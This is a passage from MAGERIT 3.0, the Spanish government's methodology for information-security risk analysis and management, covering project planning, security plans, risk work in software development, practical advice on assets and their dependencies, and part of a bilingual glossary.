preparatorias como en su desarrollo. La figura del enlace operacional adquiere una relevancia
permanente que no es habitual en otro tipo de proyectos más técnicos.
El proyecto de análisis de los riesgos se lleva a cabo por medio de las siguientes tareas:
Objetivos
• Identificar o suscitar el interés de la Dirección de la Organización en la realización de un
proyecto de análisis de riesgos
Productos de entrada
Productos de salida
• Informe preliminar recomendando la elaboración del proyecto
• Sensibilización y apoyo de la Dirección a la realización del proyecto
• Creación del comité de seguimiento
Participantes
• El promotor
La Dirección suele ser muy consciente de las ventajas que aportan las técnicas electrónicas, in-
formáticas y telemáticas a su funcionamiento; pero no tanto de los nuevos problemas de seguri-
dad que estas técnicas implican, o de las obligaciones legales o reglamentarias que les afectan
En toda Organización pública o privada es importante transformar en medidas concretas la cre-
ciente preocupación por la falta de seguridad de los sistemas de información, por su soporte y en-
torno, puesto que sus efectos no sólo afectan a dichos sistemas, sino al propio funcionamiento de
la Organización y, en las situaciones críticas, a su propia misión y capacidad de supervivencia.
Desarrollo
La iniciativa para la realización de un proyecto de análisis de riesgos parte de un promotor interno
o externo a la Organización, consciente de los problemas relacionados con la seguridad de los
sistemas de información, como por ejemplo:
• Incidentes continuados relacionados con la seguridad.
• Inexistencia de previsiones en cuestiones relacionadas con la evaluación de necesidades y
medios para alcanzar un nivel aceptable de seguridad de los sistemas de información que
sea compatible con el cumplimiento correcto de la misión y funciones de la Organización.
• Reestructuraciones en los productos o servicios proporcionados.
• Cambios en la tecnología utilizada.
• Desarrollo de nuevos sistemas de información.
El promotor puede elaborar un cuestionario-marco (documento poco sistematizable que deberá
crear en cada caso concreto) para provocar la reflexión sobre aspectos de la seguridad de los sis-
temas de información por parte de :
Los responsables de las unidades operativas (responsables de servicios).
El cuestionario permite proceder a un examen informal de la situación en cuanto a la seguri-
dad de sus sistemas de información; deben poder expresar su opinión por los proyectos de
seguridad ya realizados (con su grado de satisfacción o con las limitaciones de éstos), así
como sus expectativas ante la elaboración de un proyecto de análisis de riesgos 25 . Esta
aproximación de alto nivel permite obtener una primera visión de los objetivos concretos y
las opciones que tendrían que subyacer a la elaboración del proyecto.
25 Probablemente no se conozca lo que esto significa y haya que incluir en el cuestionario marco una sucin-
ta explicación de qué es y qué objetivos persigue el análisis de riesgos en general y el proyecto en parti-
cular.
© Ministerio de Hacienda y Administraciones Públicas página 65 (de 127)
Magerit 3.0 Proyectos de análisis de riesgos
Los responsables de informática.
El cuestionario permite obtener una panorámica técnica para la elaboración del proyecto y
posibilita abordar el estudio de oportunidad de realización, tras integrar las opciones anterio-
res.
De las respuestas al cuestionario-marco y de las entrevistas mantenidas con los responsables y
colectivos anteriores, el promotor obtiene una primera aproximación sobre las funciones, los servi-
cios y los productos implicados en cuestiones de seguridad de los sistemas de información, la ubi-
cación geográfica de aquéllos, los medios técnicos, los medios humanos, etc.
Con estos elementos el promotor realiza el informe preliminar recomendando la elaboración del
proyecto de análisis de riesgos e incluyendo estos elementos:
• Exposición de los argumentos básicos.
• Relación de antecedentes sobre la seguridad de los sistemas de información (Plan Estraté-
gico, Plan de Actuación, etc.).
• Primera aproximación al dominio a incluir en el proyecto en función de
• las finalidades de las unidades o departamentos
• las orientaciones gerenciales y técnicas
• la estructura de la Organización
• el entorno técnico.
• Primera aproximación de los medios, tanto humanos como materiales, para la realización
del proyecto.
El promotor presenta este informe preliminar a la Dirección que puede decidir:
• aprobar el proyecto, o bien
• modificar su dominio y/o sus objetivos, o bien
• retrasar el proyecto.
Objetivos
• Determinar los objetivos del proyecto, diferenciados según horizontes temporales a corto y
medio plazo
• Determinar las restricciones generales que se imponen sobre el proyecto
• Determinar el dominio, alcance o perímetro del proyecto
Productos de entrada
• Recopilación de la documentación pertinente de la Organización
Productos de salida
• Especificación detallada de los objetivos del proyecto
• Relación de restricciones generales
• Relación de unidades de la Organización que se verán afectadas como parte del proyecto
• Lista de roles relevantes en la unidades incluidas en el alcance del proyecto
• los activos esenciales
• los puntos de interconexión con otros sistemas
• los proveedores externos
Participantes
• El comité de seguimiento
Un proyecto de análisis de riesgos puede perseguir objetivos a muy corto plazo tales como el ase-
guramiento de cierto sistema o un cierto proceso de negocio, o puede pretender objetivos más
amplios como fuera el análisis global de la seguridad de la Organización. En todo caso, hay que
determinarlo.
Especialmente a la hora de tomar acciones correctoras, hay que tener en cuenta que “no todo va-
le”, sino que el proyecto se encontrará con una serie de restricciones, no necesariamente técni-
cas, que establecen un marco al que atenerse. Para incorporar las restricciones al análisis y ges-
tión de riesgos, estas se agrupan por distintos conceptos, típicamente:
Restricciones políticas o gerenciales
Típicas de organizaciones gubernamentales o fuertemente relacionadas con organismos
gubernamentales, bien como proveedores o como suministradores de servicios.
Restricciones estratégicas
Derivadas de la evolución prevista de la estructura u objetivos de la Organización.
Restricciones geográficas
Derivadas de la ubicación física de la Organización o de su dependencia de medios físicos
de comunicaciones. Islas, emplazamientos fuera de las fronteras, etc.
Restricciones temporales
Que toman en consideración situaciones coyunturales: conflictividad laboral, crisis interna-
cional, cambio de la propiedad, reingeniería de procesos, etc.
© Ministerio de Hacienda y Administraciones Públicas página 67 (de 127)
Magerit 3.0 Proyectos de análisis de riesgos
Restricciones estructurales
Tomando en consideración la organización interna: procedimientos de toma de decisiones,
dependencia de casas matrices internacionales, etc.
Restricciones funcionales
Que tienen en cuenta los objetivos de la Organización.
Restricciones legales
Leyes, reglamentos, regulaciones sectoriales, contratos externos e internos, etc.
Restricciones relacionadas con el personal
Perfiles laborales, compromisos contractuales, compromisos sindicales, carreras profesiona-
les, etc.
Restricciones metodológicas
Derivadas de la naturaleza de la organización y sus hábitos o habilidades de trabajo que
pueden imponer una cierta forma de hacer las cosas.
Restricciones culturales
La “cultura” o forma interna de trabajar puede ser incompatible con ciertas salvaguardas teó-
ricamente ideales.
Restricciones presupuestarias
La cantidad de dinero es importante; pero también la forma de planificar el gasto y de ejecu-
tar el presupuesto
Alcance
Esta tarea identifica las unidades objeto del proyecto y especifica las características generales de
dichas unidades en cuanto a responsables, servicios proporcionados y ubicaciones geográficas.
También identifica las principales relaciones de las unidades objeto del proyecto con otras entida-
des, por ejemplo el intercambio de información en diversos soportes, el acceso a medios informá-
ticos comunes, etc.
La tarea presume un principio básico: el análisis y la gestión de riesgos debe centrarse en
un dominio limitado, que puede incluir varias unidades o mantenerse dentro de una sola uni-
dad (según la complejidad y el tipo de problema a tratar), ya que un proyecto de ámbito de-
masiado amplio o indeterminado podría ser inabarcable, por excesivamente generalista o
por demasiado extendido en el tiempo, con perjuicio en las estimaciones de los elementos
del análisis.
Para que el alcance quede determinado debemos concretar:
— los activos esenciales: información que se maneja y servicios que se prestan
— los puntos de intercambio de interconexión con otros sistemas, aclarando qué información
se intercambia y qué servicios se prestan mutuamente
— los proveedores externos en los que se apoya nuestro sistema de información
Objetivos
• Definir los grupos de interlocutores: usuarios afectados en cada unidad
• Planificar las entrevistas de recogida de información
• Determinar el volumen de recursos necesarios para la ejecución del proyecto: humanos,
temporales y financieros
• Elaborar el calendario concreto de realización de las distintas etapas, actividades y tareas
del proyecto
• Establecer un calendario de seguimiento que defina las fechas tentativas de reuniones del
comité de dirección, el plan de entregas de los productos del proyecto, las posibles modifi-
caciones en los objetivos marcados, etc
Productos de entrada
• Resultados de la actividad A1.2, Determinación del alcance del proyecto
Productos de salida
• Relación de participantes en los grupos de interlocutores
• Plan de entrevistas
• Informe de recursos necesarios
• Informe de cargas
Participantes
• El director de proyecto
• El comité de seguimiento
El plan de entrevistas debe detallar a qué persona se va a entrevistar, cuándo y con qué objetivo.
Este plan permite determinar la carga que el proyecto va a suponer para las unidades afectadas,
bien del dominio, bien del entorno.
El plan de entrevistas es especialmente importante cuando los sujetos a entrevistar se hayan
en diferentes localizaciones geográficas y la entrevista requiere el desplazamiento de una o
ambas partes.
También conviene ordenar las entrevistas de forma que primero se recaben las opiniones más
técnicas y posteriormente las gerenciales, de forma que el entrevistador pueda evolucionar las
preguntas tomando en consideración hechos (experiencia histórica) antes que valoraciones y
perspectivas de servicio a terceros.
Objetivos
• Disponer de los elementos de trabajo para acometer el proyecto
Productos de entrada
• Marco de trabajo establecido en el Proceso de Gestión de Riesgos: criterios y relaciones
con las partes afectadas
Productos de salida
• Cuestionarios adaptados
• Determinar el catálogo de tipos de activos
• Determinar las dimensiones de valoración de activos
• Determinar los niveles de valoración de activos, incluyendo una guía unificada de criterios
para asignar un cierto nivel a un cierto activo
• Determinar los niveles de valoración de las amenazas: frecuencia y degradación
• Asignar los recursos necesarios (humanos, de organización, técnicos, etc.) para la realiza-
ción del proyecto
• Informar a las unidades afectadas
• Crear un ambiente de conocimiento general de los objetivos, responsables y plazos
Participantes
• El director del proyecto
• El equipo de proyecto
6. Plan de seguridad
Esta sección trata de cómo llevar a cabo planes de seguridad, entendiendo por tales proyectos
para materializar las decisiones adoptadas para el tratamiento de los riesgos.
Estos planes reciben diferentes nombres en diferentes contextos y circunstancias:
• plan de mejora de la seguridad
• plan director de seguridad
• plan estratégico de seguridad
• plan de adecuación (en concreto es el nombre que se usa en el ENS)
Se identifican 3 tareas:
PS – Plan de Seguridad
PS.1 – Identificación de proyectos de seguridad
PS.2 – Plan de ejecución
PS.3 – Ejecución
Participantes
• El equipo de proyecto
• Especialistas en seguridad
• Especialistas en áreas específicas de seguridad
Hay que ordenar en el tiempo los proyectos de seguridad teniendo en cuenta los siguientes facto-
res:
• la criticidad, gravedad o conveniencia de los impactos y/o riesgos que se afrontan, teniendo
máxima prioridad los programas que afronten situaciones críticas
• el coste del programa
• la disponibilidad del personal propio para responsabilizarse de la dirección (y, en su caso,
ejecución) de las tareas programadas
• otros factores como puede ser la elaboración del presupuesto anual de la Organización, las
relaciones con otras organizaciones, la evolución del marco legal, reglamentario o contrac-
tual, etc.
Típicamente un plan de seguridad se planifica en tres niveles de detalle:
Plan director (uno).
A menudo denominado “plan de actuación”, trabaja sobre un periodo largo (típicamente en-
tre 3 y 5 años), estableciendo las directrices de actuación.
Plan anual (una serie de planes anuales).
Trabaja sobre un periodo corto (típicamente entre 1 y 2 años), estableciendo la planificación
de los programas de seguridad.
Plan de proyecto (un conjunto de proyectos con su planificación).
Trabaja en el corto plazo (típicamente menos de 1 año), estableciendo el plan detallado de
ejecución de cada programa de seguridad.
Se debe desarrollar un (1) plan director único, que es el que da perspectiva y unidad de objetivos
a las actuaciones puntuales. Este plan director permite ir desarrollando planes anuales que, de-
ntro del marco estratégico, van estructurando la asignación de recursos para la ejecución de las
tareas, en particular partidas presupuestarias. Y, por último, habrá una serie de proyectos que ma-
terializan los programas de seguridad.
Productos de salida
• Salvaguardas implantadas
• Normas de uso y procedimientos de operación
• Sistema de indicadores de eficacia y eficiencia del desempeño de los objetivos de seguri-
dad perseguidos
• Modelo de valor actualizado
• Mapa de riesgos actualizado
• Estado de riesgo actualizado (impacto y riesgo residuales).
Técnicas, prácticas y pautas
• Análisis de riesgos (ver “Método de Análisis de Riesgos”)
• Planificación de proyectos
Participantes
• El equipo de proyecto: evolución del análisis de riesgos
• Personal especializado en la salvaguarda en cuestión
especificación
aceptación
despliegue
operación mantenimiento
Especificación. En esta fase se determinan los requisitos que debe satisfacer la aplicación y
se elabora un plan para las siguientes fases.
Adquisición o desarrollo. Para traducir una especificación en una realidad, se puede adquirir
un producto, o se puede desarrollar, bien en casa, bien por subcontratación externa.
Aceptación. Tanto si es una aplicación nueva como si es modificación de una aplicación ante-
rior, nunca una aplicación debe entrar en operación sin haber sido formalmente aceptada.
Despliegue. Consistente en instalar el código en el sistema y configurarlo para que entre en
operación.
Operación. La aplicación se usa por parte de los usuarios, siendo atendidos los incidentes por
parte de usuarios y/o los operadores.
Mantenimiento. Bien porque aparecen nuevos requisitos, bien porque se ha detectado un fa-
llo, la aplicación puede requerir un mantenimiento que obligue a regresar a cualquiera de las
etapas anteriores, en última instancia a la especificación básica.
MÉTRICA versión 3
La metodología MÉTRICA Versión 3 ofrece a las Organizaciones un instrumento para la sistemati-
zación de las actividades que dan soporte al ciclo de vida del software. MÉTRICA versión 3 identi-
fica los siguientes elementos:
planificación gestión de
PSI configuración
desarrollo aseguramiento
de la calidad
EVS ASI DSI CSI IAS
gestión de
proyectos
mantenimiento
MSI seguridad
Métrica 3
especificación PSI – Planificación del sistema de información
EVS – Estudio de viabilidad del sistema
ASI – Análisis del sistema de información
adquisición o desarrollo DSI – Diseño del sistema de información.
CSI – Construcción del sistema de información
aceptación IAS – Implantación y aceptación del sistema
despliegue
operación
mantenimiento MSI – Mantenimiento del sistema de información
7.2.2. Contexto
Se debe determinar el contexto general:
— política de seguridad y normas
— requisitos de cumplimiento normativo
— obligaciones contractuales
— roles y funciones
— criterios de valoración de información y servicios
— criterios de valoración de riesgos
— criterios de aceptación de riesgos
En particular, hay que establecer unos procedimientos operativos que instrumenten la comunica-
ción entre las tareas de desarrollo y las tareas de análisis y tratamiento de riesgos.
• La Dirección aporta los servicios necesarios y la calidad de la seguridad deseada.
• El equipo de desarrollo aporta los elementos técnicos que materializan la aplicación.
• El equipo de análisis de riesgos aporta un juicio crítico sobre la seguridad del sistema.
• La misma Dirección aprueba el riesgo residual.
Nuevas amenazas
Bien porque se descubren nuevas formas de ataque, bien porque la valoración de la capacidad
del atacante se modifica. En estos casos hay que rehacer el análisis y decidir cómo tratar los nue-
vos resultados.
Vulnerabilidades sobrevenidas
Por ejemplo, defectos reportados por los fabricantes. En estos casos hay que analizar la nueva
situación de riesgo y determinar cual es su tratamiento adecuado para seguir operando. Lo ideal
es parchear el sistema; pero bien porque el parche no existe o porque su aplicación requiere unos
recursos de los que no disponemos, podemos encontrarnos en una situación nueva ante la cual
hay que decidir cómo tratar el riesgo.
Incidentes de seguridad
Los incidentes de seguridad pueden indicarnos un fallo en nuestra identificación de amenazas o
en su valoración, obligando a revisar el análisis.
Un incidente de seguridad también puede suponer un cambio en el sistema. Por ejemplo, una in-
trusión significa que no podemos contar con la defensa perimetral: tenemos un nuevo sistema,
con el atacante en un nuevo lugar y con unas opciones nuevas.
7.2.9 Terminación
Cuando un sistema de información se retira del servicio, hay que realizar una serie de tareas de
seguridad proporcionadas al riesgo al que están sometidos los componentes del sistema a retirar.
En concreto:
— proteger el valor de la información manejada: retención y control de acceso
— proteger las claves criptográficas de cifra y de autenticación: retención y control de acceso
Todo lo que no sea necesario retener se destruirá de forma segura:
— datos operacionales
Activos a considerar
En cada proceso se requiere un análisis de riesgos específico que contemple:
• los datos que se manejan:
• especificaciones y documentación de los sistemas
• código fuente
• manuales del operador y del usuario
• datos de prueba
• el entorno software de desarrollo:
• herramientas de tratamiento de la documentación: generación, publicación, control de do-
cumentación, etc.
• herramientas de tratamiento del código: generación, compilación, control de versiones,
etc.
• el entorno hardware de desarrollo: equipos centrales, puestos de trabajo, equipos de archi-
vo, etc.
• el entorno de comunicaciones de desarrollo
• las instalaciones
• el personal involucrado: desarrolladores, personal de mantenimiento y usuarios (de pruebas)
Actividades
Se siguen los siguientes pasos
© Ministerio de Hacienda y Administraciones Públicas página 84 (de 127)
Magerit 3.0 Desarrollo de sistemas de información
1. el equipo de desarrollo expone a través del jefe de proyecto los elementos involucrados
2. el equipo de análisis de riesgos recibe a través del director de seguridad la información de
los activos involucrados
3. el equipo de análisis de riesgos realiza el análisis
4. el equipo de análisis de riesgos expone a través de su director el estado de riesgo, propo-
niendo una serie de medidas a tomar
5. el equipo de desarrollo elabora un informe del coste que supondrían las medidas recomen-
dadas, incluyendo costes de desarrollo y desviaciones en los plazos de entrega
6. la dirección califica el riesgo y decide las salvaguardas a implantar oyendo el informe con-
junto de análisis de riesgos y coste de las soluciones propuestas
7. el equipo de análisis de riesgos elabora los informes correspondientes a las soluciones
adoptadas
8. el equipo de seguridad elabora la normativa de seguridad pertinente
9. la dirección aprueba el plan para ejecutar el proceso con la seguridad requerida
Otras consideraciones
Aunque cada proceso requiere su análisis de riesgos específico, es cierto que se trata de modelos
tremendamente similares por lo que el mayor esfuerzo lo llevará el primero que se haga, siendo
los demás adaptaciones de aquel primero.
En los primeros procesos, notablemente en PSI, pueden aparecer contribuciones de alto nivel que
afecten a la normativa de seguridad de la Organización e incluso a la propia política de seguridad
corporativa.
Entre las normas y procedimientos generados es de destacar la necesidad de una normativa de
clasificación de la documentación y procedimientos para su tratamiento.
En todos los procesos hay que prestar una especial atención al personal involucrado. Como reglas
básicas conviene:
• identificar los roles y las personas
• determinar los requisitos de seguridad de cada puesto e incorporarlos a los criterios de se-
lección y condiciones de contratación
• limitar el acceso a la información: sólo por necesidad
• segregar tareas; en particular evitar la concentración en una sola persona de aquellas apli-
caciones o partes de una aplicación que soporten un alto riesgo
7.4. Referencias
• “Seguridad de las Tecnologías de la Información. La construcción de la confianza para una
sociedad conectada”, E. Fernández-Medina y R. Moya (editores). AENOR, 2003.
• Metodología de Planificación, Desarrollo y Mantenimiento de sistemas de información. Mé-
trica v3. Consejo Superior de Informática y para el Impulso de la Administración Electrónica,
2000.
8. Consejos prácticos
Todo el planteamiento anterior puede quedar un poco abstracto y no permitir al analista progresar
con solvencia a través de los pasos indicados si confundiera lo importante con lo esencial. Por ello
se ha considerado conveniente incluir algunos comentarios que puedan servir de guía para avan-
zar.
Se recomienda también la consulta del "Catálogo de Elementos" que recopila tipos de activos, di-
mensiones de valoración, guías de valoración, catálogos de amenazas y de salvaguardas.
Los intangibles
Ciertos elementos de valor de las organizaciones son de naturaleza intangible:
• credibilidad o buena imagen
• conocimiento acumulado
• independencia de criterio o actuación
• intimidad de las personas
• integridad física de las personas
Estos elementos pueden incorporarse al análisis de riesgos como activos 26 o como elementos de
valoración 27 . La cuantificación de estos conceptos es a menudo difícil; pero de una u otra forma
nunca puede olvidarse que lo que hay que proteger en última instancia es la misión de la Organi-
zación y el valor de ésta reside en estos intangibles como ya se reconocía en Magerit versión
1.0 28 .
Identificación de activos
Quizás la mejor aproximación para identificar los activos sea preguntar directamente:
• ¿Qué activos son esenciales para que usted consiga sus objetivos?
• ¿Hay más activos que tenga que proteger por obligación legal?
• ¿Hay activos relacionados con los anteriores?
Lo esencial es siempre la información que se maneja y los servicios que se prestan. A veces nos
interesa singularizar la diferente información y los diferentes servicios, mientras que otras veces
podemos agrupar varias informaciones o varios servicios que son equivalentes a efectos de requi-
sitos de seguridad. Incluso es frecuente hacer paquetes de { información + servicios } que la Di-
rección entiende como un uno.
No siempre es evidente qué es un activo en singular.
26 No todos los autores son unánimes en que sea una buena idea identificar activos intangibles. Es cierto
que son activos en el sentido financiero; pero es discutible que sean recursos propiamente dichos del
sistema de información. Ocurre que si a los interlocutores se les pregunta durante las entrevistas en tér-
minos de valores intangibles de la Organización, se pierde la perspectiva del día a día, pues la mayor
parte de los miembros de la Organización tienen objetivos más concretos y cercanos sobre los que sí
pueden emitir una opinión fundada.
27 Ver “Catálogo de Elementos”, capítulo “4. Criterios de valoración”.
28 Ver Magerit versión 1.0, “Guía de Procedimientos” / “3. Submodelo de Elementos” / “3.4. Impactos” /
”3.4.3. Tipos”.
© Ministerio de Hacienda y Administraciones Públicas página 87 (de 127)
Magerit 3.0 Consejos prácticos
Es habitual y práctico identificar lo que podríamos llamar subsistemas. Un subsistema
típico es un equipo informático, que bajo ese nombre contiene el hardware, los sopor-
tes de información (discos), periféricos, sistema operativo y aplicaciones (software) de
base tales como ofimática, antivirus, etc. Si es posible, trate ese conglomerado como
un activo único.
Si por ejemplo en su unidad tiene 300 puestos de trabajo PC, todos idénticos a efectos
de configuración y datos que manejan, no es conveniente analizar 300 activos idénti-
cos. Baste analizar un PC genérico que cuya problemática representa la de todos.
Agrupar simplifica el modelo. Una buena idea es tener tantos activos como perfiles de
configuración de equipos personales.
Otras veces se presenta el caso contrario, un servidor central que se encarga de mil
funciones: servidor de ficheros, de mensajería, de la intranet, del sistema de gestión
documental y ... En este caso conviene segregar los servicios prestados como servi-
cios (internos) independientes. Sólo cuando se llegue al nivel de equipamiento físico
habrá que hacer confluir en un único equipo todos los servicios. Si en el futuro se con-
sigue segregar servicios entre varios servidores, entonces es fácil revisar el modelo de
valor y dependencias.
Durante la fase de identificación de activos es frecuente que haya ciclos de expansión en los que
los activos complejos se desagregan en activos más sencillos, y fases de compresión, en las que
muchos activos se agrupan bajo un activo único (es frecuente hablar de subsistemas). Estos ci-
clos se repiten recurrentemente hasta que
— el conjunto de activos sea lo bastante detallado como para no olvidarnos de nada
— el número de activos no sea tan grande que nos perdamos
— la denominación de los activos no sea ambigua y recoja la terminología habitual en la Orga-
nización
en pocas palabras, el modelo debe ser manejable y fácil de explicar a los que van a tomar deci-
siones a partir de nuestras conclusiones.
Errores típicos
No es correcto decir que una aplicación depende de la información que maneja. El razonamiento
de quien tal afirma es que “la aplicación no funcionaría sin datos”, lo que es correcto; pero no es lo
que interesa reflejar.
Más bien es todo lo contrario: la [seguridad de la] información depende de la aplicación que la
maneja. En términos de servicio, se puede decir que la aplicación no vale para nada sin datos.
Pero como el valor es una propiedad de la información, y la información es alcanzable por medio
de la aplicación, son los requisitos de seguridad de la información los que hereda la aplicación.
Luego la información depende de la aplicación. En otras palabras: a través de la aplicación puede
accederse a la información, convirtiéndose la aplicación en la vía de ataque.
Dado que datos y aplicaciones suelen aunar esfuerzos para la prestación de un servicio, el valor
del servicio se transmite tanto a los datos como a las aplicaciones intervinientes.
mal bien
aplicación → información información → aplicación
Tabla 9. Dependencias de la información y las aplicaciones
En este contexto, a veces conviene distinguir entre los datos y la información. La información es
un bien esencial, siendo los datos una concreción TIC de la información. La información es valio-
sa, lo demás es valioso en la medida en que contiene información.
La información que maneja un sistema o bien se pone por encima de los servicios, o bien se agru-
pa
1. información → servicios → equipamiento (incluyendo datos, aplicaciones, equipos, …)
2. { información + servicios } → equipamiento (incluyendo datos, aplicaciones, equipos, …)
No es correcto decir que una aplicación dependa del equipo donde se ejecuta. El razonamiento de
quien tal afirma es que “la aplicación no funcionaría sin equipo”, lo que es correcto; pero no es lo
que interesa reflejar. Si tanto la aplicación como el equipo son necesarios para prestar un servicio,
se debe decir explícitamente, sin buscar caminos retorcidos.
mal bien
• servicio → aplicación • servicio → aplicación
• aplicación → equipo • servicio → equipo
Tabla 10. Dependencias de los servicios
Los errores comentados a veces pasan desapercibidos mientras el sistema es muy reducido (sólo
hay un servicio, una aplicación y un equipo); pero aparecen en cuanto el sistema crece. Por ejem-
plo, una aplicación X puede ejecutarse en diferentes equipos con diferentes datos para prestar
diferentes servicios. Resulta entonces imposible relacionar la aplicación con uno o más equipos,
salvo considerando cada caso
33 Hay que estar atentos a la “comercialización” de las herramientas de ataque pues un ataque puede re-
querir un gran experto para realizarlo manualmente (es decir, es poco frecuente); pero si el experto em-
paqueta su ataque en una herramienta con una simple interfaz gráfica, usar la herramienta se convierte
en un deporte que no requiere del atacante sino ausencia de escrúpulos (es decir, la amenaza ha pasa-
do a ser muy frecuente).
34 Hay que tener muy en cuenta que Internet es una red inmensa de poder de cómputo. Si alguien sabe
cómo organizarse, no es difícil poner a la red a “trabajar para mí” lo que supone que el atacante dispon-
ga de muchísimos más medios efectivos que el atacado.
© Ministerio de Hacienda y Administraciones Públicas página 93 (de 127)
Magerit 3.0 Consejos prácticos
Partiendo de un valor estándar, hay que ir aumentando o disminuyendo sus calificaciones de frecuen-
cia y degradación hasta reflejar lo más posible el caso concreto. A menudo no es evidente determinar
el valor correcto y es necesario recurrir a simulaciones que orienten. El uso de algún tipo de herra-
mienta es muy útil para estudiar las consecuencias de un cierto valor, lo que algunos autores denomi-
nan la sensibilidad del modelo a cierto dato. Si se aprecia que los resultados cambian radicalmente
ante pequeñas alteraciones de una estimación de frecuencia o degradación, hay que (1) ser realistas y
(2) prestar extrema atención a por qué el sistema es tan sensible a algo tan concreto y tomar medidas
orientadas a independizar el sistema; es decir, a no hacer crítica una cierta amenaza.
Recuerde que la frecuencia no afecta al impacto, por lo que estudiando el impacto se puede ajus-
tar la degradación y, posteriormente, estudiando el riesgo se puede ajustar la frecuencia. Nunca
se debe aceptar un valor injustificado de degradación en la esperanza de compensarlo con la fre-
cuencia, pues la estimación del impacto es importante en sí misma, además de la de riesgo.
Sea cual sea la decisión final que se tome para estimar un valor, hay que documentarla pues an-
tes o después se pedirán explicaciones, sobre todo si como consecuencia se van a recomendar
salvaguardas costosas.
Es habitual que las herramientas de soporte al análisis de riesgos aporten perfiles típicos para
apoyar en esta tarea.
En base a la exposición
Si usted tiene una red de equipos antiguos y se conecta a Internet, debe instalar un cortafuegos.
Si tiene usted una aplicación en producción, debe mantenerla al día aplicando mejoras y corri-
giendo los defectos anunciados por el fabricante.
Cuando se sabe que los sistemas de información son vulnerables, hay que protegerlos.
Apéndice 1. Glosario
Diferentes autores u organizaciones definen los mismos términos de diferentes formas y maneras.
Las siguientes tablas recopilan definiciones acordes al sentido en el cual se emplean los términos
en esta guía metodológica, tanto en español como en inglés. De las múltiples definiciones se ha
seleccionado la preferida en Magerit v2, resaltándola en negrita. Cuando la definición procede de
alguna fuente, se cita esta. La ausencia de fuente indica que es definición propia de esta guía.
Salvo razones en contra, siempre se ha preferido mantener la definición propuesta en Magerit v1
(1997).
Acreditación Acción de facultar a un sistema o red de información para que procese da-
tos sensibles, determinando el grado en el que el diseño y la materializa-
ción de dicho sistema cumple los requerimientos de seguridad técnica
preestablecidos. [CESID:1997]
Accreditation: Formal declaration by the responsible management approving
the operation of an automated system in a particular security mode using a
particular set of safeguards. Accreditation is the official authorization by
management for the operation of the system, and acceptance by that man-
agement of the associated residual risks. Accreditation is based on the certi-
fication process as well as other management considerations. [15443-
1:2005]
Aceptación del Decisión informada a favor de tomar un riesgo. [UNE-ISO Guía 73:2010]
riesgo
Eventos que pueden desencadenar un incidente en la Organización, pro-
duciendo daños materiales o pérdidas inmateriales en sus activos. [Mage-
rit:2006]
Eventos que pueden desencadenar un incidente en la Organización, pro-
duciendo daños materiales o pérdidas inmateriales en sus activos. [Mage-
rit:1997]
Condición del entorno del sistema de información que, dada una oportuni-
dad, podría dar lugar a que se produjese una violación de la seguridad.
[CESID:1997]
Threat: Any circumstance or event with the potential to adversely impact
agency operations (including mission, functions, image, or reputation),
agency assets, or individuals through an information system via unauthor-
ized access, destruction, disclosure, modification of information, and/or de-
nial of service. [800-53:2009]
Threat: Any circumstance or event with the potential to adversely impact an
information system through unauthorized access, destruction, disclosure,
modification of data, and/or denial of service. [CNSS:2003]
Threat: An activity, deliberate or unintentional, with the potential for causing
harm to an automated information system or activity. [TDIR:2003]
Threat: Any circumstance or event that could harm a critical asset through
unauthorized access, compromise of data integrity, denial or disruption of
service, or physical destruction or impairment. [CIAO:2000]
A threat is an indication of a potential undesirable event. [NSTISSI:1998]
Threat: A potential violation of security. [7498-2:1989]
Análisis de impacto Estudio de las consecuencias que tendría una parada de X tiempo sobre la
Organización.
Análisis de riesgos Proceso sistemático para estimar la magnitud de los riesgos a que está
expuesta una Organización.
Análisis del riesgo – Proceso que permite comprender la naturaleza del
riesgo y determinar el nivel de riesgo. [UNE-ISO Guía 73:2010]
Identificación de las amenazas que acechan a los distintos componentes
pertenecientes o relacionados con el sistema de información (conocidos
como ‘activos’); para determinar la vulnerabilidad del sistema ante esas
amenazas y para estimar el impacto o grado de perjuicio que una seguri-
dad insuficiente puede tener para la organización, obteniendo cierto cono-
cimiento del riesgo que se corre. [Magerit:1997]
Risk assessment: Process of evaluating the risks of information loss based
on an analysis of threats to, and vulnerabilities of, a system, operation or
activity. [OPSEC]
Risk Analysis: Examination of information to identify the risk to an informa-
tion system. [CNSS:2003]
Risk Assessment:: Process of analyzing threats to and vulnerabilities of an
information system, and the potential impact resulting from the loss of informa-
tion or capabilities of a system. This analysis is used as a basis for identifying
appropriate and cost-effective security countermeasures. [CNSS:2003]
Risk Analysis: An analysis of system assets and vulnerabilities to establish
an expected loss from certain events based on estimated probabilities of
occurrence. [TDIR:2003]
Aceptación del Decisión informada a favor de tomar un riesgo. [UNE-ISO Guía 73:2010]
riesgo
Risk Assessment: A study of vulnerabilities, threats, likelihood, loss or im-
pact, and theoretical effectiveness of security measures. The process of
evaluating threats and vulnerabilities, known and postulated, to determine
expected loss and establish the degree of acceptability to system opera-
tions. [TDIR:2003]
Autenticidad Propiedad o característica consistente en que una entidad es quien dice ser o
bien que garantiza la fuente de la que proceden los datos. [UNE 71504:2008]
Aseguramiento de la identidad u origen. [Magerit:2006]
Autenticación: Característica de dar y reconocer la autenticidad de los ac-
tivos del dominio (de tipo información) y/o la identidad de los actores y/o la
autorización por parte de los autorizadores, así como la verificación de di-
chas tres cuestiones. [Magerit:1997]
Authenticity: Having an undisputed identity or origin. [OPSEC]
Authenticity: The property of being genuine and being able to be verified
and trusted; confidence in the validity of a transmission, a message, or
message originator. [800-53:2009]
Certificación Confirmación del resultado de una evaluación, y que los criterios de eva-
luación utilizados fueron correctamente aplicados.
Aceptación del Decisión informada a favor de tomar un riesgo. [UNE-ISO Guía 73:2010]
riesgo
Confidentiality: The property that information is not made available or dis-
closed to unauthorized individuals, entities, or processes. [ISO 7498-2:1989]
Dimensión de se- Un aspecto, diferenciado de otros posibles aspectos, respecto del que se
guridad puede medir el valor de un activo en el sentido del perjuicio que causaría
su pérdida de valor.
Estado de riesgo Informe: Caracterización de los activos por su riesgo residual; es decir lo que
puede pasar tomando en consideración las salvaguardas desplegadas.
Gestión de riesgos Actividades coordinadas para dirigir y controlar una organización el lo rela-
tivo al riesgo. [UNE-ISO Guía 73:2010]
Selección e implantación de salvaguardas para conocer, prevenir, impedir,
reducir o controlar los riesgos identificados. [Magerit:2006]
Selección e implantación de las medidas o ‘salvaguardas’ de seguridad
adecuadas para conocer, prevenir, impedir, reducir o controlar los riesgos
identificados y así reducir al mínimo su potencialidad o sus posibles perjui-
cios. La gestión de riesgos se basa en los resultados obtenidos en el aná-
